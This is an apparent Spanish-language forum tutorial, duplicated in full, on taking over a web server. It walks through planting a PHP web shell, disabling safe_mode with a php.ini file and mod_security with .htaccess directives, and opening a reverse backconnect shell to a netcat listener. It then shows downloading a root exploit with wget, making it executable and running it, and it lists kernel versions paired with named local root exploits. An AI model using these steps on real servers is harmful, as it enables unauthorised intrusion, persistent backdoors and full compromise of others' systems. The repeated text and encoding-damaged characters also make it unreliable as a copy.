-Introduciendo PHP Shell
Primero necesitamos incluir una shell en php, ya sea upladeandola o por RFI.
Que es una php shell?
PHP Shell o Shell PHP es un programa o script desarollado ?ntegramente en PHP. Su principal funci?n es la posibilidad de ejecutar los famosos shell-commands en el servidor donde se encuentre.
Podemos usar la c100, r57, c99, o algunas priv, como ustedes lo deseen y las que le den mejores resultados.
Una ves introducida en el servidor, tenemos la posibilidad (Si el safe_mode lo permite) de ejecutar distintos comandos CMD/Bash en el servidor donde nos metimos.
-Permisos Generales
En casi todas las shells dice los permisos que tiene cierto archivo o tu usuario.
Read (Lectura)
Write (Escritura)
Execute ( Ejecutar)
Directory (Dir)
- (No hay permisos de escritura)
Para ver los permisos pueden tirar:
C?digo:
ls -la
En la shell
-Bypassin Safe_Mode ON
La primera de todas es usando alg?n exploit que vulnere la versi?n PHP que est? corriendo el servidor. Normalmente deben de ejecutar el c?digo del exploit en la shell. ?C?mo hacemos esto?. Si alguna vez han manejado una R57 o una C99, habr?n observado que existe un apartado donde pone ?Run PHP Code? o similar. Deben de colocar ah? el c?digo del exploit y lo ejecutan.
Una segunda forma para realizar un bypassing es el subir al mismo path donde se encuentra nuestra shell un archivo de configuraci?n php.ini. Esto se hace as? porque el safe_mode se configura como ON en la configuraci?n de PHP. Entonces lo que vamos a hacer, es colocar un archivo de configuraci?n dentro del mismo path en el que tenemos nuestra shell para deshabilitar en este path el Safe_Mode. EL source del .ini es el siguiente:
C?digo:
[PHP]
register_globals=On
engine=On
safe_mode=Off
safe_mode_exec_dir=On
safe_mode_include_dir =On
-Bypassing Mode_Security (Apache)
Otra medida de seguridad que en muchas ocasiones necesitamos bypassear es el Mod_Security de Apache. Mod_Security es muy molesto para trabajar en el servidor? as? que tendremos que bypassearlo editando el fichero .htaccess. Deberemos de a?adir al fichero .htaccess
C?digo:
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
&/IfModule>
-Metiendo un Backdoor
Podemos usar dc.pl, el famoso backconnect de Datacha0s, (Aca en undersec hay uno mejor con esa base) o tambien podemos usar alguna clase de backd00r en C (En los servidores linux para compilarlos en con gcc)
Supongamos qe nuestra shell esta en www.eazy.com.ar/images/c100.php y el servidor es Linux.
Subimos el dc.pl (en /images/) luego nos bajamos el Netcat, Tambien pueden subirlo con wget <url de archivo> si tienen permisos suficientes.
y ponemos en el netcat:
C?digo:
-lvvp 90
Debera decir
C?digo:
Listening on [Any] 90 ?
Eso quiere decir que dejamos el puerto 90 a la escucha para posible conexiones (No olviden abrirlo si tienen firewall)
Luego vamos a la php shell y podemos probar asi:
C?digo:
dc.pl 90
C?digo:
perl dc.pl 90
C?digo:
usr/bin/perl dc.pl 90
Si todo anda bien, nos tiene que salir algo asi:
C?digo:
• Dumping Arguments
• Connecting?
• Spawning Shell
• Datached
Quiere decir que ya estamos conectados!
-Interactuando con la shell remota
Tiramos:
C?digo:
pwd;uname -a
Con pwd te dice el directorio donde estas, y el uname -a te da info sobre la version de kernel que tiene ese sistema y un par de cosas mas.
Bueno una vez que ya Tenemos conocimientos del kernel, nos bajamos su r00texploit de algun lado. (Al final dejo unos cuantos)
Vamos a la shell y ponemos:
C?digo:
wget mihost.com.ar/mirootexploit
Te dira ?Saved? Quiere decir que lo guardo, procedemos a darle permisos con:
C?digo:
chmod -c 777
Donde ?archivo? es nuestro exploit, nos va a decir algo asi:
C?digo:
mode of `<archivo>? changed to 0777 (rwxrwxrwx)
Ejecutando el r00texploit
Ahora vamos a ejecutarlo, ?como?, ponemos:
C?digo:
./
Ejemplo
C?digo:
./r00texploit
y luego, si todo esto sale bien, seremos r00t en el servidor.
Podemos comprobarlo poniendo:
C?digo:
ID
en la shell.
-Archivos Necesarios
Las herramientas tipicas
Root Exploits
Shells
SQL Tools
Otras tools
Plugins
Tamper Data
Web Developer
Firebug
JSView
Herramientas online
Network Tools
PHP Charset Encoder
Herramientas proporcionadas por Sknight de elhacker.net.
Kernels y su respectivo r00texploit que lo vulnera:
C?digo:
2.4.17=> ?newlocal kmod uselib24″,
2.4.18=> ?brk brk2 newlocal kmod?,
2.4.19=> ?brk brk2 newlocal kmod?,
2.4.20=> ?ptrace kmod ptrace-kmod brk brk2″,
2.4.21=> ?brk brk2 ptrace ptrace-kmod?,
2.4.22=> ?brk brk2 ptrace ptrace-kmod?,
2.4.22-10=> ?loginx?,
2.4.23=> ?mremap_pte?,
2.4.24=> ?mremap_pte uselib24″,
2.4.25-1=> ?uselib24″,
2.4.27=> ?uselib24″,
2.6.2=> ?mremap_pte krad h00lyshit?,
2.6.5=> ?krad krad2 h00lyshit?,
2.6.6=> ?krad krad2 h00lyshit?,
2.6.7=> ?krad krad2 h00lyshit?,
2.6.8=> ?krad krad2 h00lyshit?,
2.6.8-5=> ?krad2 h00lyshit?,
2.6.9=> ?krad krad2 h00lyshit?,
2.6.9-34=> ?r00t h00lyshit?,
Primero necesitamos incluir una shell en php, ya sea upladeandola o por RFI.
Que es una php shell?
PHP Shell o Shell PHP es un programa o script desarollado ?ntegramente en PHP. Su principal funci?n es la posibilidad de ejecutar los famosos shell-commands en el servidor donde se encuentre.
Podemos usar la c100, r57, c99, o algunas priv, como ustedes lo deseen y las que le den mejores resultados.
Una ves introducida en el servidor, tenemos la posibilidad (Si el safe_mode lo permite) de ejecutar distintos comandos CMD/Bash en el servidor donde nos metimos.
-Permisos Generales
En casi todas las shells dice los permisos que tiene cierto archivo o tu usuario.
Read (Lectura)
Write (Escritura)
Execute ( Ejecutar)
Directory (Dir)
- (No hay permisos de escritura)
Para ver los permisos pueden tirar:
C?digo:
ls -la
En la shell
-Bypassin Safe_Mode ON
La primera de todas es usando alg?n exploit que vulnere la versi?n PHP que est? corriendo el servidor. Normalmente deben de ejecutar el c?digo del exploit en la shell. ?C?mo hacemos esto?. Si alguna vez han manejado una R57 o una C99, habr?n observado que existe un apartado donde pone ?Run PHP Code? o similar. Deben de colocar ah? el c?digo del exploit y lo ejecutan.
Una segunda forma para realizar un bypassing es el subir al mismo path donde se encuentra nuestra shell un archivo de configuraci?n php.ini. Esto se hace as? porque el safe_mode se configura como ON en la configuraci?n de PHP. Entonces lo que vamos a hacer, es colocar un archivo de configuraci?n dentro del mismo path en el que tenemos nuestra shell para deshabilitar en este path el Safe_Mode. EL source del .ini es el siguiente:
C?digo:
[PHP]
register_globals=On
engine=On
safe_mode=Off
safe_mode_exec_dir=On
safe_mode_include_dir =On
-Bypassing Mode_Security (Apache)
Otra medida de seguridad que en muchas ocasiones necesitamos bypassear es el Mod_Security de Apache. Mod_Security es muy molesto para trabajar en el servidor? as? que tendremos que bypassearlo editando el fichero .htaccess. Deberemos de a?adir al fichero .htaccess
C?digo:
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
&/IfModule>
-Metiendo un Backdoor
Podemos usar dc.pl, el famoso backconnect de Datacha0s, (Aca en undersec hay uno mejor con esa base) o tambien podemos usar alguna clase de backd00r en C (En los servidores linux para compilarlos en con gcc)
Supongamos qe nuestra shell esta en www.eazy.com.ar/images/c100.php y el servidor es Linux.
Subimos el dc.pl (en /images/) luego nos bajamos el Netcat, Tambien pueden subirlo con wget <url de archivo> si tienen permisos suficientes.
y ponemos en el netcat:
C?digo:
-lvvp 90
Debera decir
C?digo:
Listening on [Any] 90 ?
Eso quiere decir que dejamos el puerto 90 a la escucha para posible conexiones (No olviden abrirlo si tienen firewall)
Luego vamos a la php shell y podemos probar asi:
C?digo:
dc.pl 90
C?digo:
perl dc.pl 90
C?digo:
usr/bin/perl dc.pl 90
Si todo anda bien, nos tiene que salir algo asi:
C?digo:
• Dumping Arguments
• Connecting?
• Spawning Shell
• Datached
Quiere decir que ya estamos conectados!
-Interactuando con la shell remota
Tiramos:
C?digo:
pwd;uname -a
Con pwd te dice el directorio donde estas, y el uname -a te da info sobre la version de kernel que tiene ese sistema y un par de cosas mas.
Bueno una vez que ya Tenemos conocimientos del kernel, nos bajamos su r00texploit de algun lado. (Al final dejo unos cuantos)
Vamos a la shell y ponemos:
C?digo:
wget mihost.com.ar/mirootexploit
Te dira ?Saved? Quiere decir que lo guardo, procedemos a darle permisos con:
C?digo:
chmod -c 777
Donde ?archivo? es nuestro exploit, nos va a decir algo asi:
C?digo:
mode of `<archivo>? changed to 0777 (rwxrwxrwx)
Ejecutando el r00texploit
Ahora vamos a ejecutarlo, ?como?, ponemos:
C?digo:
./
Ejemplo
C?digo:
./r00texploit
y luego, si todo esto sale bien, seremos r00t en el servidor.
Podemos comprobarlo poniendo:
C?digo:
ID
en la shell.
-Archivos Necesarios
Las herramientas tipicas
Root Exploits
Shells
SQL Tools
Otras tools
Plugins
Tamper Data
Web Developer
Firebug
JSView
Herramientas online
Network Tools
PHP Charset Encoder
Herramientas proporcionadas por Sknight de elhacker.net.
Kernels y su respectivo r00texploit que lo vulnera:
C?digo:
2.4.17=> ?newlocal kmod uselib24″,
2.4.18=> ?brk brk2 newlocal kmod?,
2.4.19=> ?brk brk2 newlocal kmod?,
2.4.20=> ?ptrace kmod ptrace-kmod brk brk2″,
2.4.21=> ?brk brk2 ptrace ptrace-kmod?,
2.4.22=> ?brk brk2 ptrace ptrace-kmod?,
2.4.22-10=> ?loginx?,
2.4.23=> ?mremap_pte?,
2.4.24=> ?mremap_pte uselib24″,
2.4.25-1=> ?uselib24″,
2.4.27=> ?uselib24″,
2.6.2=> ?mremap_pte krad h00lyshit?,
2.6.5=> ?krad krad2 h00lyshit?,
2.6.6=> ?krad krad2 h00lyshit?,
2.6.7=> ?krad krad2 h00lyshit?,
2.6.8=> ?krad krad2 h00lyshit?,
2.6.8-5=> ?krad2 h00lyshit?,
2.6.9=> ?krad krad2 h00lyshit?,
2.6.9-34=> ?r00t h00lyshit?,